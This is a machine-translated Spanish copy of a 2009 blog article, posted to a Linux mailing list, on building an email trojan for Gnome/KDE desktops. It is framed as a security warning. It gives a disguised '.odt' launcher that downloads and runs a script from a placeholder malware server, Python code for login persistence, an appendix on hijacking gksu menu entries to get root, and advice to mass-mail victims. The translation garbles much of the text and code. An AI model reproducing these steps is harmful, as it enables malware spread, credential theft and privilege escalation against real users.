Cómo escribir un virus de Linux en 5 sencillos pasos
linux, de publicación: 11-FEB-2009 05:33
Nota: me envió un seguimiento a resumir los puntos y comentarios que he
recibido
como parte de la abrumadora comentarios a este artículo. Por favor, lea
este seguimiento
antes (!) publicar un comentario, ya que algunos de lo que puede querer
decir
Puede que ya se han abordado.
Para el sentido de que ...
... simplemente desplácese hacia abajo para el pacto de paso a paso
guía. Pero si se quiere conseguir algunos de los antecedentes y las
explicaciones que acaba de leer a continuación, en.
El rumor de la prueba de balas arquitectura Linux
Hay en torno a este rumor que que Linux es libre de virus. Se dice que
el anticuado patrimonio multi-usuario de Linux (y otros * nix SOs)
impide que el malware, ya que los usuarios normalmente no se ejecuta sus
programas en modo de administrador (como usuario root). Se nos recuerda
que la ejecución de los bits son necesarios para ejecutar cualquier cosa
- al contrario de Windows - que ejecutan bits y no se fijan en los
archivos adjuntos o archivos guardados de mensajes de correo electrónico
o desde un navegador web.
Por lo tanto, se nos dice, la propia arquitectura de Linux es mucho más
superior a la de Windows que no es sólo posible con éxito propagación de
malware. Por supuesto - se reconoce - un bajo nivel de error, o un
desbordamiento de búfer explotables es otra cuestión. Pero, no obstante,
los usuarios pueden no sólo la captura de un virus por correo
electrónico o la descarga de malware de Internet, al contrario de "los
usuarios de Windows". Linux protegerlos de su propia estupidez.
Al menos por lo que la historia va. Pero lamentablemente, eso no es
cierto. Voy a mostrar cómo es posible en unos pocos pasos para escribir
un correo electrónico soportado perfectamente válido para el virus de
Linux de escritorio modernos. Lo haré porque no quiero poner Linux. Más
bien al contrario: me gusta y el apoyo de Linux, que es todo lo que
estoy en casa y en el trabajo. Soy un gran defensor del software libre y
abierto como lectores de este blog sabrá. Pero si hay riesgos de
seguridad, incluso en mi sistema operativo favorito o la distribución,
entonces tendrá que ser discutido. Aún más importante: una falsa
sensación de seguridad es peor que la falta de seguridad. Y sin
pretensiones de superioridad no ayudan en un debate bien.
Algunas notas antes de empezar
Actualización: Ha habido muchos comentarios acerca de mí utilizar el
término "virus" aquí no correctamente. Que debo hablar de un "caballo de
Troya" en su lugar. Existe un cierto desacuerdo sobre si un virus
requiere la interacción del usuario o no, y si se trata de un gusano, si
estamos hablando de los programas maliciosos que pueden propagarse sin
la intervención del usuario. También existe cierto desacuerdo sobre si
un programa malicioso que se propaga a través del correo electrónico
puede ser considerado como un virus o no. Hay muchas fuentes que se
llame tal cosa un virus (un correo electrónico de virus) y otros que
sean más exigentes en su definición. Deja que este artículo no se acerca
de ese debate. Estoy llamando a este malware aquí un "virus", aunque sí
requiere de la interacción del usuario y aunque yo no proporcionan
código para saber cómo propagación propia (que el código sólo se
proporciona como de muy alto nivel de pseudo-código).
Debo señalar: Las vulnerabilidades que se están tomando ventaja de las
características "de los más populares de Linux modernos entornos de
escritorio Gnome y KDE. El verdadero núcleo de Linux no tiene ninguna de
estas vulnerabilidades. Linux (o cualquier otro * nix) sin ejecutar el
sistema de Gnome o KDE no presentan ninguno de estos problemas, que es
una de las grandes ventajas de separar adecuadamente el núcleo del
sistema operativo otras aplicaciones, tales como el entorno de escritorio.
En la otra cara, si ejecuta los entornos de escritorio en otros SOs (tal
vez en FreeBSD, por ejemplo), entonces posiblemente tengan que tratar
con la misma vulnerabilidad. Un título más preciso para este mensaje de
correo electrónico, por lo tanto, podría haber sido: ¿Cómo escribir un
Gnome / KDE el virus en 5 sencillos pasos. Pero desde Gnome y KDE son
especialmente utilizados en Linux, creo que un virus basado en el riesgo
que afectaría a la mayoría de los usuarios de Linux. Así pues, el título
elegido sigue siendo válida.
El texto de este artículo aquí le explicará que es necesario adoptar
medidas para infectar un equipo de escritorio y la manera de instalar el
software malintencionado y proporcionará información de antecedentes
sobre las razones por las medidas que sean necesarias y la razón por la
que trabajan realmente. Después de la explicación ya hay una más
compacta paso a paso hacia el final de síntesis. Aunque hay algunos
fragmentos de código, el artículo no proporcionar el código de un
ready-made pieza de malware.
Hace unos días me envió un mensaje a los equipos de seguridad en Ubuntu
y Fedora, preguntando si les gustaría echar un vistazo a esto antes de
publicar. El equipo de Ubuntu no ha respondido todavía, pero el equipo
de Fedora me dijo que esta es "muy conocido y el comportamiento
esperado" y que no tienen ningún problema con la publicación de este me.
Bien conocido y esperado? ¿En serio? Pero luego bien, aquí vamos.
Cómo los usuarios a abrir archivos adjuntos: Echa un vistazo a estas
fotos desnuda!
Si usted está esperando ahora a algunas nuevas, fantangled explotar o
algo más inteligente hackery, tendré que totalmente le desilusionará. Lo
que estoy mostrando aquí es sólo un ejemplo de cómo la vieja escuela de
ingeniería social "virus" (que apenas merece ese nombre) que se han
molestando Windows mundo durante tanto tiempo se puede hacer para correr
en Linux, o cualquier otros * nix OS con un moderno entorno de escritorio.
La premisa de este tipo de "virus" es simple: Obtener un usuario ejecute
un archivo adjunto ejecutable que les envió por correo electrónico. Esto
es completamente de baja tecnología. N negro magia aquí. No estoy
tomando ventaja de una nueva explotación de ninguna manera. Para hacerlo
funcionar en Linux estoy utilizando el "características" de los modernos
entornos de escritorio en algo involuntaria formas, supongo. Después de
todo, todo "bien conocido y esperado".
Hacer esto en Windows es sencillo. Usted crea sus propios programas
maliciosos como un archivo EXE, adjuntarlo a un mensaje que dice algo
como: "Whoa, consulte estas fotos de desnudos ....!". El desventurado
usuario hace doble clic sobre el archivo adjunto, que Windows - en la
ausencia de algunos decente software anti-virus - obedientemente a
ejecutar. Antes de que usted lo sepa, el malware está instalado y el
sistema de propiedad. La ejecución de. EXE desde clientes de correo
electrónico en Windows es, por supuesto, también "muy conocido y esperado".
¿Crees que esto no es posible bajo Linux? Por supuesto que sí. Solo
requiere de uno o dos pasos más. Sin embargo, no hay nada fundamental
sobre la arquitectura de Linux, que evita que el usuario la estupidez o
la ignorancia, que es, por supuesto, el ingrediente principal en
cualquier vector de ataque como este.
Sólo hay un pequeño obstáculo, que necesita ser superada. Bueno, dos, en
realidad.
En primer lugar, la mayoría de clientes de correo electrónico para Linux
no ejecutar archivos adjuntos. Puede que intente abrir si se conoce la
extensión como una indicación de un documento o tipo de medio (. Pdf y
otros documentos, por ejemplo). Pero eso es todo. Entonces, digamos que
ha escrito su malware como una buena secuencia de comandos Python. En
ese caso, su secuencia de comandos puede tener el. Py que termina, pero
el cliente de correo electrónico sigue siendo poco probable que invocar
el intérprete de Python para usted. Usted tendría que salir de su manera
de configurar el sistema para hacerlo, y que haría algo como esto?
No, necesitamos un enfoque ligeramente diferente. Algo que siempre se
ejecuta al hacer clic sobre. Y aquí es, entonces, un paso más que debe
adoptar el usuario, lo que podría reducir la tasa de éxito de este
vector de ataque un poco. El usuario debe primero guardar los datos
adjuntos y, a continuación, haga doble clic en él. Porque si bien el
cliente de correo electrónico normalmente no se puede ejecutar un
archivo ejecutable, el entorno de escritorio muy bien como se puede ver.
Por lo tanto, la dirección de correo electrónico tendrá que ser algo así:
Whoa, consulte estas fotos de desnudos ...!
(si el archivo adjunto no se desea abrir sólo guardarlo en su
escritorio y abrirla ...)
Sospechosas de sonido que a la mayoría de nosotros, pero "la mayoría" no
es "todos" los usuarios y la estupidez está en todas partes. Además,
muchos de los usuarios basados en la web son clientes de correo
electrónico utilizada para guardar la primer rutina de todos modos.
No subestimar la ignorancia del usuario - incluso en Linux
Usted podría argumentar que la mayoría de los usuarios de Linux tienden
a ser un poco más conscientes de lo que están haciendo. Por lo general,
tuvo que hacer una elección consciente sobre su sistema operativo y, por
tanto, tienden a no ser el típico usuario no técnico. Pero eso está
cambiando! Algunos son enviados netbooks con Linux por defecto. En ese
caso, los usuarios no han elegido Linux y, por tanto, pueden ser tan
felizmente ignorante de Windows que los usuarios que hagan clic en
archivos adjuntos de correo electrónico. Además, algunas de las grandes
organizaciones están pensando en la masa de Linux de escritorio
roll-outs. Varias ciudades y gobiernos de todo el mundo, por ejemplo.
Los usuarios no son técnicos, bien y tienen las mismas probabilidades de
hacer clic en archivos adjuntos.
Además, el tiempo libre de problemas del pasado han dado a los usuarios
de Linux un falso sentido de seguridad. Estamos tan acostumbrados a la
constante mantra de "Linux es tan seguro, ni siquiera tiene el software
anti-virus!" que probablemente en realidad no tienen ningún software
anti-virus para la captura de nosotros cuando estamos a punto de hacer
algo tonto.
Bueno, de nuevo a los aspectos técnicos. La mayoría de clientes de
correo electrónico guardar archivos adjuntos en el escritorio del
usuario o del usuario en el directorio de descarga cuando el usuario
vaya a buscar. Por lo tanto, si el usuario no tiene que examinar el
archivo adjunto sin cesar, sino que simplemente hace clic en el botón
'Guardar' en el cliente de correo electrónico a continuación, que
normalmente hace el truco: El archivo adjunto estará allí en la cara del
usuario. De hecho, me di cuenta de que por alguna razón mi cliente de
correo electrónico Evolution a veces tiene problemas normales de
apertura, incluso documentos como archivos adjuntos directamente. Por
ejemplo, alguien me envía una. Odt expediente, pero la evolución a veces
no se inicia OpenOffice para mí. Por lo tanto, cuando esto no funciona,
acabo de guardar y abrir entonces. Ya estoy capacitado para hacer este
tipo de cosas! Probablemente no soy el único.
Cómo ejecutar archivos adjuntos
Hemos dicho anteriormente que los archivos adjuntos normalmente no se
ejecuta cuando se almacenan como archivos. No hay ninguna norma que la
extensión de archivo indica que un archivo debe ser ejecutada al hacer
clic, ya que hay bajo Windows. - Y este es el segundo gran obstáculo que
debemos superar - para el archivo ejecutable que se bajo Linux (o
cualquier otro sistema operativo * nix), la ejecución de bandera tendría
que ser establecido en los permisos del archivo. Esto es algo que
Windows no tiene, y que a menudo es visto como una de las razones por
infectar un PC con Windows puede ser tan fácil, y por qué debería ser
casi imposible en los sistemas * nix. Al guardar un archivo adjunto de
correo electrónico bajo Linux, ejecute el pabellón no se suele fijar y
por lo tanto, el archivo no puede ser ejecutado simplemente haciendo
clic en él. Así pues, la suerte no?
No tan rápido. Modernos entornos de escritorio, como Gnome y KDE,
convenientemente ofrecer una buena "solución" que se llama "lanzadores".
Estos son pequeños archivos que describen cómo algo que debe ser
iniciado. Sólo unas pocas líneas que especifican el nombre, el icono que
debe mostrarse y el comando a ejecutar. Convenientemente, la sintaxis de
los archivos de lanzamiento es el mismo para Gnome y KDE. Y los
lanzadores no tienen que tener permisos de ejecución establecidos en
ellos! Entornos de escritorio tratar los archivos como un caso especial,
por lo que al hacer clic sobre ellos Gnome o KDE felizmente ejecutar el
comando que se especifica en la descripción de lanzadores y sin la
necesidad de que el bit de ejecución que se establezcan en el propio
lanzador. Ahora estamos recibiendo más!
Un problema al que nos enfrentamos ahora es que el comando que puede ser
ejecutado por un lanzador es realmente sólo una línea y un solo comando.
Es un poco difícil de instalar malware con un solo comando. O es? ¿Qué
tal esta aquí:
% De bash-c "curl http://www.some_malware_server.org/s.py-o / tmp /
s.py; python / tmp / s.py"
¿Qué significa este único comando hacer? Comienza bash, un shell de
comandos (parte de cualquier instalación por defecto), y pasa una cadena
argumento con dos comandos simples a la misma, que luego ejecute bash.
El primer comando (curvatura) descarga un script de algunos de malware
servidor tiene que crear y, a continuación, almacena la secuencia de
comandos en un lugar donde sabemos que podemos escribir a (el directorio
/ tmp). Tenga en cuenta que en algunos sistemas (Ubuntu, por ejemplo) no
tiene la curvatura, sino un comando similar, llamado wget. Que complica
la línea de comandos aquí un poco, pero no es un problema insuperable,
como se muestra en el paso a paso se guía más abajo. El segundo comando
(la llamada al intérprete de Python) que se ejecuta luego recién
descargado script (una secuencia de comandos en este ejemplo). Tanto
Python y la curvatura (o wget) son normalmente parte de la instalación
por defecto de la mayoría de las distribuciones Linux.
Si ponemos esto en la línea de la Ejec lanzador definición entonces un
simple clic sobre el lanzador que dará lugar a la ejecución de un mando
único, que a su vez ejecuta dos comandos, que luego llevan a la descarga
y ejecución de una compleja secuencia de comandos arbitrarios. Todos,
sin el bit de ejecución está establecido en ninguna parte.
Usted no necesita ser root para 0wn alguien
Ninguno de los que hasta ahora requiere privilegios de root. Y ahora
nuestro script puede hacer lo que desea hacer dentro de los confines de
la cuenta de usuario. Confinado puede ser, pero eso no impide la
posibilidad de daños importantes por hacer.
Por ejemplo, puede empezar a Aluminio para Pilfer a través de la libreta
de direcciones del usuario para recoger direcciones de correo
electrónico, los envían fuera de malware a nuestro servidor, inicie el
envío de spam o correo electrónico se puede propagar por sí mismo
e-mail. Se puede instalar una extensión de Firefox que captura
contraseñas a medida que el usuario escribe. Se puede comenzar a
compartir el escritorio del usuario a través de VNC sin conocimiento del
usuario. Se puede iniciar un fondo de demonio que aparece anuncios.
Linux publicitario!
Todo ello se ejecuta como un usuario normal proceso. En verdad, en un
sistema de escritorio que normalmente sólo es utilizada por un único
usuario, la propiedad que cuenta de usuario es casi equivalente a la
propiedad raíz, por lo que está haciendo daño en cuestión: la acción que
todos los interesados en lleva a cabo en la cuenta de usuario de todos
modos.
Pero tal vez usted realmente quiere tener su raíz para el malware?
Bueno, hay una manera de hacerlo así, pero esto no está garantizado para
trabajar en todos los casos, y francamente no es necesario para el buen
infectar una máquina. Entonces, para no distraer de los puntos
importantes de este artículo aquí, tengo una discusión de que en un
apéndice.
Automáticamente al iniciar el sistema
Pero, incluso si el usuario no es capaz de encontrar el proceso en
ejecución y matar luego reiniciar un simple disparate que dejará de
derecho? Ciertamente, se necesitan privilegios de root a fin de obligar
a nuestros programas maliciosos que se lanza automáticamente en caso de
reiniciar el sistema, ¿no?
No es así. Los usuarios no necesitan privilegios de root para configurar
determinadas aplicaciones para autolaunch cuando se acceda a sus propias
sesiones de usuario. Es que son sólo de hacer cambios a su propio
período de sesiones y cuenta de usuario, no el sistema de ajustes. Una
vez más, todo comenzó a aplicaciones como parte de la sesión de usuario
sólo se pondrá en marcha en el nivel de privilegio del usuario, pero
como hemos visto, esto no es un problema importante. Muchas cosas
interesantes que se puede hacer incluso en ese caso.
Entonces, ¿cómo conseguimos que se nos automático se inicia cuando el
usuario se conecta? Hay una serie de scripts que se ejecutan al iniciar
un shell, pero el usuario que es probable que haga clic en un archivo
adjunto sospechoso no es probable que inicie un shell muy a menudo en su
caso. Afortunadamente, los modernos entornos de escritorio tienen su
propio conjunto de comandos que se autostarting de inicio de sesión. En
el caso de Gnome, eche un vistazo a lo que usted encuentra en ~ /
.config / automático (este directorio puede no existir todavía, si no se
ha configurado algún aplicaciones de inicio automático). ¡Así es! Más
lanzadores! Estos son cada vez que ejecute el usuario inicia sesión en
Gnome. Para KDE es aún más simple: Sólo enlace a su ejecutable desde el
directorio ~ / .kde / Autostart directorio.
Nuestros programas maliciosos, sólo tiene que crear una entrada adecuada
en esos directorios y se comenzará a correr cuando el usuario se conecta!
Y eso es todo lo que a él. Dejo la escritura de la secuencia de comandos
de software malicioso como un ejercicio para el lector.
Compacto paso a paso guía
Bueno, aquí está el resumen a continuación, que también llena en unos
pocos detalles más específicos:
1.
Escribir una pieza de malware de su elección. Tal vez como una
secuencia de comandos Python? Buena lengua, eficiente código,
pre-instalado en la mayoría de distribuciones Linux y poderosa
biblioteca estándar de apoyo (por ejemplo, las bibliotecas para el envío
de peticiones HTTP y SMTP manejo son parte de la mayoría de las
instalaciones). El lugar que el malware en algunos servidor web.
2.
Sus necesidades de malware la capacidad de instalar un lanzador
por sí mismo de modo que se inicia cuando el usuario inicia sesión pulg
Como ya se mencionó, para Gnome que significa crear un lanzador en la
descripción ~ / .config / carpeta automáticamente. Para KDE solo enlace
a su ejecutable desde el directorio ~ / .kde / Autostart directorio.
Para hacer que el código viral puede simplemente forzar la cuestión y
copia de un lanzador o un enlace a sí mismo en ambas localidades
(creación de directorios en el camino si no existe) o puede ser un poco
inteligente y elegir lo correcto hacer basado en el entorno de
escritorio que se detecta.
Por ejemplo, para crear el acceso directo de KDE, todo lo que
necesita para escribir en Python es el siguiente:
os de importación
uname = os.getlogin ()
drop_dir = "/ home /% s / .kde / Autostart" uname%)
os.makedirs (drop_dir)
os.symlink ( "/ home /% s / .local / .hidden / s.py" uname%,
drop_dir + "/ s.py")
Gnome para la secuencia de comandos en lugar de escribir las
necesidades de un lanzador en el directorio adecuado:
os de importación
relauncher_str = "" "
[Desktop Entry]
= Tipo de Aplicación
Name = Malware
= Exec python .local / .hidden / s.py
Icono = sistema de gestión
"" "
uname = os.getlogin ()
drop_dir = "/ home /% s / .config / automático" uname%
os.makedirs (drop_dir)
f = open (drop_dir + "/ Malware.desktop", "w")
f.write (relauncher_str)
f.close ()
Escrito automáticamente estas entradas es, probablemente, algunas
de las primeras acciones que debe realizar su programa malicioso.
3.
Ahora crear un lanzador de escritorio para el archivo instalador
del malware, que es diferente que el lanzador que usamos para reiniciar
el programa viral después de un reinicio del sistema. El lanzador de
escritorio para el instalador es lo que enviar como archivo adjunto en
el correo electrónico dirigido al usuario. Es lo que el usuario hace
clic en una vez que guardó. Pruebe algo como esto:
[Desktop Entry]
= Tipo de Aplicación
Name = some_text.odt
= Exec bash-c 'URL = http://www.my_malware_server.com/s.py;
DROP = ~ / .local / .hidden;
mkdir-p $ DROP;
if [-e / usr / bin / wget];
entonces $ URL wget-O $ DROP / s.py;
más $ curl URL o $ DROP / s.py; fi;
DROP $ python / s.py '
Icono = / usr/share/icons/hicolor/48x48/apps/ooo-writer.png
Tenga en cuenta que nos ha especificado un nombre que es de
aspecto inofensivo e incluso optó por un icono que le hace parecer como
un documento normal (este icono está presente tanto en Ubuntu (Gnome) y
Kubuntu (KDE) sistemas, pero no molestamente en Fedora). Si usted
demanda para enviar fotos de desnudos en el correo electrónico, basta
con darle un nombre que lo hace sonar como una imagen (con algo. Jpg al
final) y eligió uno de los iconos estándar de imagen.
El Ejecutivo es un poco más ahora, porque hemos de dar cuenta de
la posibilidad de que sea instalado wget o curl. Por ejemplo, Ubuntu
sistemas suelen tener wget, mientras que Fedora viene con
abarquillamiento. Así, se pasa a las órdenes de bash con el fin de
comprobar que uno está presente y, a continuación, llame el comando
correcto para descargar el malware. Yo no soy un experto en bash, por lo
que podría ser una forma mucho más eficiente para hacerlo. Sin embargo,
usted consigue la idea. Asimismo, en esa línea estamos creando una buena
ubicación para el script ($ DROP), que no es inmediatamente evidente. El
comando mkdir con la opción-p se silenciosamente crear directorios de
cualquier padre son necesarias. La meta está en el directorio home del
usuario, escondido en algún directorio local que miran inocentes y sólo
puede ser visto también en el caso de mostrar archivos ocultos. El
directorio / tmp, por supuesto, no es un buen lugar para nuestro
programa malicioso, ya que se limpia con cada reinicio del sistema.
Guardar este archivo lanzador con el nombre que ha especificado
con el Nombre de la línea, pero añadir ". Escritorio 'al final del
nombre de archivo real. Así pues, en nuestro caso, que guarde el archivo
como 'some_text.odt.desktop ». Cuando este lugar en su escritorio, verá
que Gnome o KDE será tratado de manera especial, no se muestra la '.
Escritorio' extensión. Así, el archivo sólo aparece como
"some_text.odt». Por supuesto, eso también significa que el archivo
adjunto de correo tendrá esta ampliación también. Algunos usuarios
pueden notar, muchos otros no.
4.
Adjunte este archivo a un correo electrónico, que le pide al
destinatario para guardar y abrir el archivo adjunto. Como se ha
explicado, una vez que se ha guardado que sólo aparecen como
"some_text.odt 'en el escritorio del usuario. Y con el icono que hemos
elegido en el lanzador descripción que parecen inofensivos.
5.
Envía este mensaje a la mayor cantidad de direcciones de correo
electrónico que usted puede obtener una bodega de.
Voila! Un virus de Linux en 5 sencillos pasos. Cada usuario que abre y
guarda el archivo adjunto que les han enviado recibirá propios infectado
con el malware script de su elección, que también se reinicia cada vez
que el usuario se conecta de nuevo.
Eso fue fácil, ¿no?
Soluciones para el problema
La solución más sencilla para evitar este tipo de problema es no sólo
hacer clic en archivos adjuntos a ciegas que las personas le han
enviado. ¿Eso suena como una frase que siempre ha escuchado en el
contexto de Windows antes? Usted apuesta. El punto es: Incluso en Linux
estos consejos deberían ser tomadas en serio.
Un paso que podría ser adoptada por el desarrolladores de Gnome y KDE:
Exigir a los lanzadores tienen permisos de ejecución. Un archivo adjunto
guardado no tendrá las mismas. Por lo tanto, a pesar de una sintaxis
correcta y adecuadamente llamado lanzador se redujo en el escritorio de
un usuario no puede simplemente haga clic sobre él y empezar a ejecutar
en caso de que el conjunto no es poco.
En tercer lugar, deje de perpetuar el mito de que el malware y los virus
son sólo un problema para Windows. Linux es - en principio - vulnerables
y, por supuesto. Aunque los usuarios no actúan con privilegios de root,
en caso de que inadvertidamente ejecutar un poco de malware entonces
mucho daño y automáticamente la instalación todavía se puede hacer. El
simple hecho de que un archivo adjunto de ejecución no se ejecutará como
root no es una protección útil contra la gran cosa, como hemos visto. El
hecho de que los archivos adjuntos no se guardan con el bit de ejecución
no es una protección suficiente, puesto que los entornos de escritorio
modernos le permiten maniobrar cuidadosamente alrededor de eso.
Ahora la limitada cuota de mercado de Linux en el escritorio ofrece
cierta protección. La mejor arquitectura de seguridad global ofrece más
protección. Pero nada de eso es engañar a prueba. Y con grandes
despliegues de Linux en los lugares de interés - como las organizaciones
gubernamentales - las instalaciones que también interesante para los
objetivos de los autores de malware.
Thunar?
Curiosamente, el gestor de archivos Thunar bajo xfce (Xubuntu 8.10) está
haciendo algo que Gnome y KDE administradores de archivos no están
haciendo: Es la bandera de escritorio lanzador archivo como potencial
viral y, por tanto, evitar la ejecución a través de un simple clic. Esto
funciona si el archivo adjunto se guardó dentro de Thunderbird o desde
dentro de una base de sistema de correo electrónico, como Yahoo Mail.
¿Alguien sabe qué hace aquí Thunar específicamente para llegar a la
'malware' conclusión?
Sin embargo, confirmó que trabaja con los frescos, las existencias de
Ubuntu 8.10, Kubuntu 8.10 y Fedora 10 instalaciones. Dado que se trata
principalmente sobre la base de la funcionalidad de Gnome y KDE, supongo
que la mayoría de las distribuciones que utilizan los ordenadores son
vulnerables también.
Bootnote
Hace algún tiempo hubo un desafío lanzado a escribir un virus que sea
capaz de infectar un sistema Linux de escritorio. El original reto que
figuran dos importantes salvedades, sin embargo: En primer lugar, debe
ser capaz de infectar la máquina de la persona que escribió el reto.
Nada más se sabe acerca de esa máquina. Por ejemplo, no sabemos qué
escritorio que estaba en funcionamiento. En segundo lugar, el virus debe
ser capaz de escribir un archivo en el directorio / etc, a la que
normalmente sólo root tiene acceso.
Me gustaría que el contenido de Linux un virus puede ser exitosa si es
capaz de infectar a la instalación estándar de algunas de las
distribuciones más populares. Sé que el enfoque que propongo será capaz
de infectar a una instalación estándar de Ubuntu, Kubuntu y Fedora, por
ejemplo.
En segundo lugar, como se ha señalado anteriormente, obtener privilegios
de root no es necesario para el buen infectar una computadora Linux.
Bueno, es más de la cuenta del usuario que está infectado, no? Sin
embargo, si estamos hablando de computadoras de escritorio luego en su
mayor parte, sólo hay que ir a un único usuario. La distinción entre
infectar el sistema (como root) o la cuenta de usuario (como el usuario)
es totalmente académico, en el mejor. Esa es una infección en la
práctica lo mismo que decir 'la máquina está infectada ". Después de
todo, el usuario está conectado en su mayoría y el malware se ejecute
siempre que sea el caso. De todos modos, me puse en contacto con el
autor de este desafío y explicó la situación a él. Insiste en el
original las normas establecidas en su desafío, sin embargo. Justo lo
suficiente, es su problema y, por tanto, sus normas de desarrollo.
Entonces, ¿qué pasa si usted realmente quiere raíz entonces?
Apéndice: Cómo raíz
Obtención de privilegios de root es siempre considerado como un poco de
el santo grial-en peligro de otra máquina. Como hemos visto, que no
tenga en realidad no es impedir que tengan un buen tiempo con un virus,
sin embargo. Pero sólo para la integridad favor, permítanme esbozar una
forma de malware para obtener su raíz. Podría haber otras formas, pero
esto es lo que podría llegar a por ahora.
Usted ve, incluso los usuarios de Linux de escritorio normal de vez en
cuando hacer cosas como root. En el caso de Ubuntu, por ejemplo, que va
a utilizar "sudo" (o el equivalente gksu gráfica) de vez en cuando para
llevar a cabo la administración del sistema. Tal vez para administrar
usuarios, cambiar la fecha y la hora o para instalar software nuevo.
Muchos temas en el Sistema -> Administración menú le pedirá su
contraseña por esa razón. Por defecto, el usuario de un sistema de
escritorio de Ubuntu tiende a ser en el "administrador" del grupo, que a
su vez se menciona en el archivo / etc / sudoers. Así, mediante la
aportación de su propia contraseña, puede realizar tareas con
privilegios de root.
Así que, ahora, ¿cómo podemos sacar provecho de esto? Resulta que los
elementos del menú de su escritorio Gnome son configurados
individualmente en alguna parte. Quizás podamos piratear que lo que en
lugar de synaptic (el gestor de paquetes gráfico) o cualquier otra
utilidad que se ejecuta en sudo o gksu) nuestro buen viral se inicia en
lugar? Después de que el usuario ha dado su contraseña para sudo? Pero
como resulta que los elementos del menú se definen en un lugar al que
sólo root tiene acceso de escritura. Echa un vistazo a / usr / share /
applications. Allí se encuentra - de nuevo - un gran número de archivos
de lanzador. Se trata de definir los distintos elementos del menú. Por
ejemplo, eche un vistazo a synaptic.desktop. Usted puede ver allí la
siguiente línea:
Gksu = exec / usr / sbin / synaptic
Sí, por lo que si podríamos seguir adelante y editar ese, ¿no? Si
nuestro programa malicioso podría ir y que a cambio:
= Exec python gksu .local / .hidden / s.py / usr / sbin / synaptics
Que nuestro software malicioso ejecutar con privilegios de root. Tenga
en cuenta que hemos pasado en silencio el nombre original del ejecutable
(/ usr / sbin / synaptics) a nuestros programas maliciosos, para que
pueda empezar a synaptics después de que se hace permanentemente a sí
mismo privilegios de root o haciendo lo que quiere hacer como root. De
esta forma el usuario no se convierta en sospechoso.
Pero, por desgracia, no podemos editar ese fichero. De suerte otra vez?
Afortunadamente, no. Gnome es tan amable para ver si podemos tener una
definición local de uno de los archivos de escritorio, que debería
invalidar todo el sistema de ajustes. Entrar en los ~ / .local / share /
applications. Por lo tanto, usted puede copiar el archivo desde
synaptic.desktop / usr / share / applications a ~ / .local / share /
applications y realizar los cambios que desee sobre el mismo. Luego sólo
hay que sentarse y esperar a que la próxima vez que el usuario inicia
synaptics y está en el negocio.
Por supuesto, usted no tiene que limitarse a synaptics. Para tener una
mejor oportunidad de ser ejecutada con privilegios de root cualquiera de
las aplicaciones en el menú de administración que requieren gksu juego
sean justas. Y francamente, probablemente pueda hacer cambios similares
e introducir gksu a muchos de los elementos de menú en Sistema ->
Preferencias. Como usuario de Ubuntu que se utilizan para dar su
contraseña a gksu de vez en cuando. Si el usuario no presta atención, ni
siquiera notará que sólo se le pregunte por su contraseña de una
utilidad que nunca pedirá la contraseña antes.
Y para aquellos usuarios que gustan de utilizar el shell: Bueno, en este
caso, el malware puede simplemente lío con su camino y una definición de
"sintonía" de la versión 'sudo' en su camino, que es ejecutado cada vez
que escriba "sudo ».
Como puedes ver, esta no está garantizado para darle la raíz (si el
usuario no utiliza los programas), pero hay una buena probabilidad de
que usted conseguirá finalmente, si eres paciente.
Actualización, febrero 12, 2009: Es realmente me sorprendió, si yo fuera
la primera persona a pensar de esta vulnerabilidad. Mirando un poco de
todo en Internet, no pude encontrar ninguna referencia a esto. Así, el
editor de LWN.net hizo un mejor trabajo. Como se señala aquí, ha habido
discusión sobre las vulnerabilidades introducidas por. Archivos de
escritorio en 2006 ya.
Nota: me envió un seguimiento a resumir los puntos y comentarios que he
recibido
como parte de la abrumadora comentarios a este artículo. Por favor, lea
este seguimiento
antes (!) publicar un comentario, ya que algunos de lo que puede querer
decir
Puede que ya se han abordado.
Tag (s): Linus Linux GNU / Linux viral del virus de correo electrónico
kde gnome ventanas explotar la vulnerabilidad de seguridad python
ShareThis
Enlace permanente a Cómo escribir un virus de Linux en 5 sencillos pasos
| Agregar un comentario (104 comentarios) | Indice principal
Comentario de EvilPixieMan, el 11-FEB-2009 07:05
"Por lo tanto, se nos dice, ... que no es sólo posible propagación de
malware con éxito."
"Pero, no obstante, los usuarios pueden no sólo la captura de un virus
por correo electrónico o la descarga de malware de Internet, al
contrario de" los usuarios de Windows ". Linux protegerlos de su propia
estupidez."
¿Qué mierda - "Se nos dice" ¿por quién? Usted convenientemente inventar
un rumor imaginario, y son capaces de desmontar la misma. Bravo por ti!
Puedo ver que usted está tratando de educar a los usuarios que
simplemente ejecutando Linux no deben pensar que son inmunes a los
programas maliciosos. Bueno, si usted está tratando de educar, no a base
de buenas prácticas sobre la lección de desinformación --
1. No sé en dónde quedó el rumor de que Linux es libre de troyanos.
2. Sea claro acerca de la diferencia entre un troyano y un virus.
Linux es mejor tiene un representante en el frente del virus, pero _ANY_
moderna orientada al usuario SO ejecuta una aplicación que un usuario
solicita que se ejecute, por lo que todos son, en cierta medida,
susceptibles a los troyanos, en cierta medida (En realidad, es más una
función de el cliente de correo electrónico de comportamiento, y cómo
"fácil" que hace ejecutar código). Esta es la idea central de su
artículo, que no era necesario gofre durante tanto tiempo para probar
este punto.
Comentario de herghost, el 11-FEB-2009 07:26
Excelente, el artículo de apertura de los ojos.
Ay, soy (era?) Una de las personas que cayeron de la "Linux es libre de
virus" mantra. Y este es el punto clave, y lo hace muy bien: si cada
nuevo usuario es adoctrinados para creer lo que es eficaz sólo
technicaly cierto tan pronto como ingresen en la comunidad, el potencial
para ser explotados es enorme.
Alguien tiene que tomar mucho en examinar si estos "factores de
conveniencia" están causando más daño que bien.
Nota del autor por foobar, el 11-FEB-2009 07:38
herghost @: Gracias por los comentarios. Sí, la comodidad son factores
que el problema aquí. Podrían ser fácilmente eludido por los bits que
requieren ejecutar en los lanzadores.
---------------------------------------
Red Telematica de Salud - Cuba
CNICM - Infomed
_______________________________________________
Cancelar suscripción
https://listas.softwarelibre.cu/mailman/listinfo/linux-l
Buscar en el archivo
http://listas.softwarelibre.cu/buscar/linux-l